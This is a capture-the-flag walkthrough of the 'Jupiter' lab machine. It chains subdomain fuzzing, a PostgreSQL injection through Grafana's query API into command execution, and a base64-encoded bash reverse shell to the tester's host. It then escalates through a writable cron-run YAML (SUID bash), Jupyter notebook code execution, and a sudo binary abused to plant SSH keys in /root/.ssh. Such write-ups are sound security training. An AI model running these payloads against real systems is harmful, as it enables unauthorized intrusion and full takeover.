Jupiter

In today's machine we cover subdomain enumeration and turn a PostgreSQL injection into RCE. For privilege escalation we work with cron jobs, port forwarding and Python
November 1, 202315 minutes
Reconnaissance
First of all, we check whether the machine is up and which OS it runs
ping -c 1 10.10.11.216
PING 10.10.11.216 (10.10.11.216) 56(84) bytes of data.
64 bytes from 10.10.11.216: icmp_seq=1 ttl=63 time=174 ms
--- 10.10.11.216 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 174.469/174.469/174.469/0.000 ms
We have connectivity, and in this case it returns a TTL (time to live) of 63, knowing that ttl=64: Linux / ttl=128: Windows. This machine is Linux
Port scan
Now we start with a port scan
$ sudo nmap -p- --open -sS --min-rate 5000 -n -Pn -vvv 10.10.11.216 -oG allPorts
Parameter explanation
| Parameter | Purpose |
|---|---|
| -p- | Scan all ports (65536) |
| –open | Only report open ports |
| –min-rate 5000 | Set the scan speed |
| -n | Skip DNS resolution |
| -vvv | Print findings to the console as they come |
| -Pn | Skip checking whether the host is up |
| -oG allPorts | Save the scan in grepable format to a file called allPorts |
With a function defined in .zshrc called extractPorts, we get the open ports in a more visual way
extractPorts function by @s4vitar
extractPorts allPorts
───────┬────────────────────────────────────────────────────────────────────────────────────────────────────────────────
│ File: extractPorts.tmp
───────┼────────────────────────────────────────────────────────────────────────────────────────────────────────────────
1 │
2 │ [*] Extracting information...
3 │
4 │ [*] IP Address: 10.10.11.216
5 │ [*] Open ports: 22,80
6 │
7 │ [*] Ports copied to clipboard
8 │
───────┴────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Now, with nmap, we try to find the versions of the services running on those ports and run nmap’s basic reconnaissance scripts
nmap -p22,80 -sCV 10.10.11.216 -oN versions
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-01 17:21 CET
Nmap scan report for 10.10.11.216
Host is up (0.099s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 ac:5b:be:79:2d:c9:7a:00:ed:9a:e6:2b:2d:0e:9b:32 (ECDSA)
|_ 256 60:01:d7:db:92:7b:13:f0:ba:20:c6:c9:00:a7:1b:41 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://jupiter.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Parameter explanation
| Parameter | Purpose |
|---|---|
| -p | The open ports found in the previous scan |
| -sC | Run basic reconnaissance scripts |
| -sV | Report the version and details of the services running on the ports |
HTTP
nmap reported that port 80 was open and that the redirect to jupiter.htb wasn’t being followed. This means the server may be using virtual hosting
What is virtual hosting?
A virtual host, or virtual server, is a form of web hosting that lets several websites run on the same machine. There are two types of virtual hosts:
- IP-based, where each website has a different IP.
- Name-based, where several websites run on a single IP address.
Definition taken from: https://linube.com/ayuda/articulo/267/que-es-un-virtualhost
http-title: Did not follow redirect to http://jupiter.htb/
To fix this, we need to add the following line to /etc/hosts:
10.10.11.216 jupiter.htb
With this we’re saying that the domain jupiter.htb points to the IP 10.10.11.216. Now we can open the website in the browser. The website has nothing interesting, so we’ll look for subdomains. Many tools can do this, but I’ll use wfuzz
wfuzz -c -t 20 -w /opt/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.jupiter.htb" http://jupiter.htb/
Parameter explanation
- -c: Colored output
- -t: Number of concurrent threads
- -w: Wordlist
- -H: Specify a header
- FUZZ: Where the wordlist entries will be tried
This command shows lots of subdomains, but they all have a 301 code, 178 characters, 12 words and 7 lines
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000001: 301 7 L 12 W 178 Ch "www"
000000045: 301 7 L 12 W 178 Ch "www1"
000000042: 301 7 L 12 W 178 Ch "static"
000000015: 301 7 L 12 W 178 Ch "ns"
000000003: 301 7 L 12 W 178 Ch "ftp"
000000031: 301 7 L 12 W 178 Ch "mobile"
000000044: 301 7 L 12 W 178 Ch "web"
000000046: 301 7 L 12 W 178 Ch "img"
000000041: 301 7 L 12 W 178 Ch "dns1"
000000043: 301 7 L 12 W 178 Ch "lists"
000000040: 301 7 L 12 W 178 Ch "ns4"
000000007: 301 7 L 12 W 178 Ch "webdisk"
000000039: 301 7 L 12 W 178 Ch "dns2"
...
What we can do is add the -hh=178 parameter to hide responses with 178 characters.
wfuzz -c -t 20 --hh=178 -w /opt/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.jupiter.htb" http://jupiter.htb/
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000001955: 200 211 L 798 W 34390 Ch "kiosk"
Now it reports one subdomain, kiosk. To view it, we have to add it to /etc/hosts like this
10.10.11.216 jupiter.htb kiosk.jupiter.htb
When we open kiosk.jupiter.htb, we see a website built with Grafana. Specifically, if we go to the login page, we see it’s Grafana v9.5.2.
On the main page, if we go to any panel and click the 3 dots > Inspect > Panel JSON, we see the following:
{
"datasource": {
"type": "postgres",
"uid": "YItSLg-Vz"
},
"fieldConfig": {
"defaults": {
"mappings": [],
"thresholds": {
"mode": "percentage",
"steps": [
{
"color": "green",
"value": null
},
{
"color": "orange",
"value": 70
},
{
"color": "red",
"value": 85
}
]
},
"color": {
"mode": "thresholds"
}
},
"overrides": []
},
"gridPos": {
"h": 8,
"w": 12,
"x": 0,
"y": 24
},
"id": 30,
"options": {
"reduceOptions": {
"values": false,
"calcs": [
"lastNotNull"
],
"fields": ""
},
"orientation": "auto",
"textMode": "auto",
"colorMode": "value",
"graphMode": "area",
"justifyMode": "auto"
},
"pluginVersion": "9.5.2",
"targets": [
{
"datasource": {
"type": "postgres",
"uid": "YItSLg-Vz"
},
"editorMode": "code",
"format": "table",
"hide": false,
"rawQuery": true,
"rawSql": "select \n count(parent) \nfrom \n moons \nwhere \n parent = 'Jupiter';",
"refId": "A",
"sql": {
"columns": [
{
"parameters": [],
"type": "function"
}
],
"groupBy": [
{
"property": {
"type": "string"
},
"type": "groupBy"
}
],
"limit": 50
}
}
],
"title": "Number of Moons",
"type": "stat"
}
With this, we can notice that the database is Postgres and that a query is being sent to it:
select \n count(parent) \nfrom \n moons \nwhere \n parent = 'Jupiter';
If we go back to the main page, press ctrl + shift + c and go to the Network tab, we can see requests being made as we scroll. Let’s intercept them with Burp Suite.
POST /api/ds/query HTTP/1.1
Host: kiosk.jupiter.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: application/json, text/plain, */*
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: http://kiosk.jupiter.htb/d/jMgFGfA4z/moons?orgId=1&refresh=1d
...
{"queries":[{"refId":"A","datasource":{"type":"postgres","uid":"YItSLg-Vz"},"rawSql":"select \n count(parent) \nfrom \n moons \nwhere \n parent = 'Jupiter';","format":"table","datasourceId":1,"intervalMs":60000,"maxDataPoints":928}],"range":{"from":"2023-11-01T11:31:09.304Z","to":"2023-11-01T17:31:09.304Z","raw":{"from":"now-6h","to":"now"}},"from":"1698838269304","to":"1698859869304"}
In the intercepted request we can see the query being sent to the Postgres database
Exploitation
To learn how to inject into PostgreSQL, there is a very interesting resource in the Payloads All The Things repo, which mentions an interesting vulnerability that turns the SQL injection into RCE (Remote Code Execution)
Basically, it consists of creating a table in the database the website uses
CREATE TABLE cmd_exec(cmd_output text);
Using COPY, the output of the id command will be put into the table, which causes the id command to be executed
COPY cmd_exec FROM PROGRAM 'id';
Optionally, if we can see the output, we could read it simply by querying the cmd_exec table
SELECT * FROM cmd_exec;
Knowing this, let’s go with the exploitation:
We create the cmd_exec table
"rawSql":"CREATE TABLE cmd_exec(cmd_output text);"
Now we listen on the tun0 interface for ICMP packets, which are the ones ping uses.
sudo tcpdump -i tun0 icmp
Finally, we send the injection to run a ping to our machine
"rawSql":"COPY cmd_exec FROM PROGRAM 'ping -c 1 10.10.14.28';"
The server replies with a 200 status
{"results":{"A":{"status":200,"frames":[]}}}
And we see that the ping went through, which means we can run commands on the target machine
18:47:24.492218 IP jupiter.htb > 10.10.14.28: ICMP echo request, id 2, seq 1, length 64
18:47:24.492238 IP 10.10.14.28 > jupiter.htb: ICMP echo reply, id 2, seq 1, length 64
Reverse shell
We’ll listen with netcat on port 443
nc -nlvp 443
Parameter explanation
- n: Skip DNS resolution
- l: Enable netcat’s listen mode
- v: Verbose mode
- p: Finally, p specifies the port number we’ll be listening on
We’ll send the reverse shell with bash: bash -i >& /dev/tcp/10.10.14.28/443 0>&1, but we’ll wrap it in bash -c "bash -i..." because the plain one might get blocked by the target machine. In short, it will look like this:
bash -c "bash -i >& /dev/tcp/10.10.14.28/443 0>&1"
Before using it in the injection, we’ll base64-encode it to avoid problems with special characters.
echo 'bash -c "bash -i >& /dev/tcp/10.10.14.28/443 0>&1"' | base64
The final command we need in the injection would be: first an echo with the base64, then base64 -d to decode it, and finally bash so the decoded result is run with bash.
echo YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yOC80NDMgMD4mMSIK | base64 -d | bash
Applied to the injection, it would look like this:
"rawSql":"COPY cmd_exec FROM PROGRAM 'echo YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yOC80NDMgMD4mMSIK | base64 -d | bash';"
We get the connection!
$ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.28] from (UNKNOWN) [10.10.11.216] 46594
bash: cannot set terminal process group (18744): Inappropriate ioctl for device
bash: no job control in this shell
postgres@jupiter:/var/lib/postgresql/14/main$
Before escalating, we upgrade the TTY so we can use ctrl + c, ctrl + l, nano…
script /dev/null -c bash
ctrl + z
stty raw -echo; fg
reset
xterm
export TERM=xterm
export SHELL=bash
Privilege escalation
With ifconfig we can confirm we’re on the target machine and not in a container
postgres@jupiter:/var/lib/postgresql/14/main$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.10.11.216 netmask 255.255.254.0 broadcast 10.10.11.255
...
Since the website was Grafana, there is an interesting file that may contain credentials and valuable information at /etc/grafana/grafana.ini, but we don’t have permission to read it
postgres@jupiter:/etc/grafana$ cat grafana.ini
cat: grafana.ini: Permission denied
juno
Let’s check whether there is any cron job running every ‘x’ amount of time. For this we’ll use pspy. To use it, we simply download it on our machine and start a Python server in the directory where it’s saved
python3 -m http.server
And we download it on the target machine in the /tmp directory
wget 10.10.14.28/pspy64
Finally, we make it executable and run it
chmod +x pspy64
./pspy64
After capturing processes for a while, we see a script at /home/juno/shadow-simulation.sh being run with bash. /home/juno/.local/bin/shadow is also being run with the file /dev/shm/network-simulation.yml as an argument
2023/11/01 18:52:01 CMD: UID=1000 PID=21187 | /bin/bash /home/juno/shadow-simulation.sh
2023/11/01 18:52:01 CMD: UID=1000 PID=21186 | /bin/sh -c /home/juno/shadow-simulation.sh
2023/11/01 18:52:01 CMD: UID=1000 PID=21189 | /home/juno/.local/bin/shadow /dev/shm/network-simulation.yml
2023/11/01 18:52:01 CMD: UID=1000 PID=21198 | /usr/bin/python3 -m http.server 80
2023/11/01 18:52:01 CMD: UID=1000 PID=21199 | /usr/bin/curl -s server
We don’t have access to /home/juno, so we can’t read the shadow-simulation.sh script, but we do have access to /dev/shm. If we cat /dev/shm/network-simulation.yml, we can see the following:
general:
# stop after 10 simulated seconds
stop_time: 10s
# old versions of cURL use a busy loop, so to avoid spinning in this busy
# loop indefinitely, we add a system call latency to advance the simulated
# time when running non-blocking system calls
model_unblocked_syscall_latency: true
network:
graph:
# use a built-in network graph containing
# a single vertex with a bandwidth of 1 Gbit
type: 1_gbit_switch
hosts:
# a host with the hostname 'server'
server:
network_node_id: 0
processes:
- path: /usr/bin/python3
args: -m http.server 80
start_time: 3s
# three hosts with hostnames 'client1', 'client2', and 'client3'
client:
network_node_id: 0
quantity: 3
processes:
- path: /usr/bin/curl
args: -s server
start_time: 5s
If we look closely, there are two commands being run, python3 -m http.server 80 and curl -s server, which pspy showed being run after /home/juno/.local/bin/shadow /dev/shm/network-simulation.yml
2023/11/01 18:52:01 CMD: UID=1000 PID=21198 | /usr/bin/python3 -m http.server 80
2023/11/01 18:52:01 CMD: UID=1000 PID=21199 | /usr/bin/curl -s server
With ls -l we see that we have read and write permissions on /dev/shm/network-simulation.yml
$ls -l /dev/shm/network-simulation.yml
-rw-rw-rw- 1 juno juno 815 Mar 7 2023 /dev/shm/network-simulation.yml
So we’ll modify it…
We’ll make it copy /bin/bash to /tmp/bash and give it SUID permissions
hosts:
# a host with the hostname 'server'
server:
network_node_id: 0
processes:
- path: /usr/bin/cp
args: /bin/bash /tmp/bash
start_time: 3s
# three hosts with hostnames 'client1', 'client2', and 'client3'
client:
network_node_id: 0
quantity: 3
processes:
- path: /usr/bin/chmod
args: u+s /tmp/bash
start_time: 5s
Now all that’s left is to wait for it to run and then run /tmp/bash -p to launch bash with privileges
postgres@jupiter:/tmp$ /tmp/bash -p
bash-5.1$ whoami
juno
jovian
Something odd happens: we’re juno, but some commands run as postgres, as in this case with id
bash-5.1$ whoami
juno
bash-5.1$ id
uid=114(postgres) gid=120(postgres) euid=1000(juno) groups=120(postgres),119(ssl-cert)
To fix this, we’ll connect over SSH. First, on the attacker machine, we create SSH keys with ssh-keygen. This creates a folder in our home directory called .ssh, containing a file called id_rsa.pub, which is our public key. We’ll have to put this key in /home/juno/authorized_keys. Now we can connect over SSH without a password
Now that we have a proper console, we run id to see which groups we’re in
uid=1000(juno) gid=1000(juno) groups=1000(juno),1001(science)
One group stands out: science. We can find which files belong to this group with the following command
find / -group science 2>/dev/null
/opt/solar-flares
/opt/solar-flares/flares.csv
/opt/solar-flares/xflares.csv
/opt/solar-flares/map.jpg
/opt/solar-flares/start.sh
/opt/solar-flares/logs
/opt/solar-flares/logs/jupyter-2023-03-10-25.log
/opt/solar-flares/logs/jupyter-2023-03-08-37.log
/opt/solar-flares/logs/jupyter-2023-03-08-38.log
/opt/solar-flares/logs/jupyter-2023-03-08-36.log
/opt/solar-flares/logs/jupyter-2023-03-09-11.log
/opt/solar-flares/logs/jupyter-2023-03-09-24.log
/opt/solar-flares/logs/jupyter-2023-03-08-14.log
/opt/solar-flares/logs/jupyter-2023-03-09-59.log
/opt/solar-flares/flares.html
/opt/solar-flares/cflares.csv
/opt/solar-flares/flares.ipynb
/opt/solar-flares/.ipynb_checkpoints
/opt/solar-flares/mflares.csv
find reports many files belonging to the science group in /opt.
If we go to /opt/solar-flares/logs, there are many log files, and when we cat the most recent one we see the following
juno@jupiter:/opt/solar-flares/logs$ cat jupyter-2023-11-01-22.log
.....
[I 19:22:56.926 NotebookApp] http://localhost:8888/?token=a36adfafb8a4239c215350cad2e1cc07696168a8e4fa6093
[I 19:22:56.927 NotebookApp] or http://127.0.0.1:8888/?token=a36adfafb8a4239c215350cad2e1cc07696168a8e4fa6093
.....
We see there is a website on the target machine on port 8888, but nmap didn’t report that port, most likely because it can only be reached from the target machine itself. To see more information about the ports, we can use ss -tnlp
juno@jupiter:/opt/solar-flares/logs$ ss -tnlp
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
LISTEN 0 511 0.0.0.0:80 0.0.0.0:*
LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
LISTEN 0 4096 127.0.0.1:3000 0.0.0.0:*
LISTEN 0 128 127.0.0.1:8888 0.0.0.0:*
LISTEN 0 244 127.0.0.1:5432 0.0.0.0:*
LISTEN 0 128 [::]:22 [::]:*
If we want to reach this port from our machine, we can do port forwarding. We could use SSH, but I don’t feel like it, so we’ll use chisel.
Using it is very simple: we download it on our machine, copy it to the target machine with a Python server like we did with pspy before (python3 -m http.server 80), make it executable (chmod +x chisel) and run the following
Attacker machine:
sudo ./chisel server --reverse -p 1234
Target machine:
./chisel client 10.10.14.28:443 R:8888:127.0.0.1:8888 &
Now our port 8888 maps to port 8888 on the target machine, so we can open the link we saw in the logs
http://localhost:8888/?token=a36adfafb8a4239c215350cad2e1cc07696168a8e4fa6093
Once in, we see several files we can modify, so we can guess this website is being run by root or jovian. If we open flares.ipynb, we see a file that seems to contain Python documentation, there is a button at the top that says run, and we can modify the file, so we can try for RCE.
import os
os.system('whoami')
jovian
We have RCE, and now we know who was running this: jovian
To get a reverse shell, we’ll use the same approach as at the beginning, so I won’t explain it again to keep the post short
import os
os.system('echo YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yOC80NDMgMD4mMSIK | base64 -d | bash')
We’re jovian!
$ nc -nlvp 443
listening on [any] 443 ...
jovian@jupiter:/opt/solar-flares$
root
With sudo -l we see that we can run the file /usr/local/bin/sattrack as root without a password
$ sudo -l
User jovian may run the following commands on jupiter:
(ALL) NOPASSWD: /usr/local/bin/sattrack
When we run it, it says it couldn’t find the configuration file
jovian@jupiter:/opt/solar-flares$ sudo /usr/local/bin/sattrack
sudo /usr/local/bin/sattrack
Satellite Tracking System
Configuration file has not been found. Please try again!
Let’s see where it’s loading it from with the strings command. The strings command is basically like cat, but it only shows the readable content of files such as binaries, pictures, etc..
strings /usr/local/bin/sattrack | grep config
/tmp/config.json
We see the path /tmp/config.json, but of course it doesn’t exist. What we can do is search the system for a config.json that is the default configuration for this binary
$ find / -name config.json 2> /dev/null
/usr/local/share/sattrack/config.json
find reports a config.json in a folder with the same name as the binary, so I assume they’re related. Let’s copy that file to /tmp
cp /usr/local/share/sattrack/config.json /tmp/config.json
Now we can run the binary, but it hangs while loading a resource from a website.
$ sudo /usr/local/bin/sattrack
Satellite Tracking System
tleroot does not exist, creating it: /tmp/tle/
Get:0 http://celestrak.org/NORAD/elements/weather.txt
Let’s see whether we can change this from the config.json file
{
"tleroot": "/tmp/tle/",
"tlefile": "weather.txt",
"mapfile": "/usr/local/share/sattrack/map.json",
"texturefile": "/usr/local/share/sattrack/earth.png",
"tlesources": [
"http://celestrak.org/NORAD/elements/weather.txt",
"http://celestrak.org/NORAD/elements/noaa.txt",
"http://celestrak.org/NORAD/elements/gp.php?GROUP=starlink&FORMAT=tle"
],
"updatePerdiod": 1000,
"station": {
"name": "LORCA",
"lat": 37.6725,
"lon": -1.5863,
"hgt": 335.0
},
"show": [
],
"columns": [
"name",
"azel",
"dis",
"geo",
"tab",
"pos",
"vel"
]
}
tlesources contains the websites the binary was loading. Since we have permission to modify this file, we can try putting our IP and starting a Python server (python3 -m http.server 80) to see whether we get the request
jovian@jupiter:/opt/solar-flares$ sudo /usr/local/bin/sattrack
Satellite Tracking System
Get:0 http://10.10.14.28
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.216 - - [01/Nov/2023 21:25:27] "GET / HTTP/1.1" 200 -
We do get the request. Now, instead of our IP, we could try putting file:///root/root.txt
After running it, we have the root flag in /tmp/tle/root.txt
We have the flag, but the fun part is getting a console as root, so what we’ll do is generate some SSH keys on our machine
ssh-keygen
Now, in our home directory, there is a .ssh folder containing the keys. We’ll copy the public key id_rsa.pub into a file called authorized_keys, and in that same directory we’ll start another Python server with python3 -m http.server 80
On the target machine we’ll tweak /tmp/config.json a bit: in the tleroot option we can set the path where we want the files to be downloaded, and there we’ll put the path to root’s keys
"tleroot": "/root/.ssh/",
Finally, in tlesources we’ll put our IP and the authorized_keys file
"http://10.10.14.28/authorized_keys"
Now, when we run the program, our public key will be placed inside root’s authorized_keys, which lets us connect over SSH without a password
ssh [email protected]
root@jupiter:~#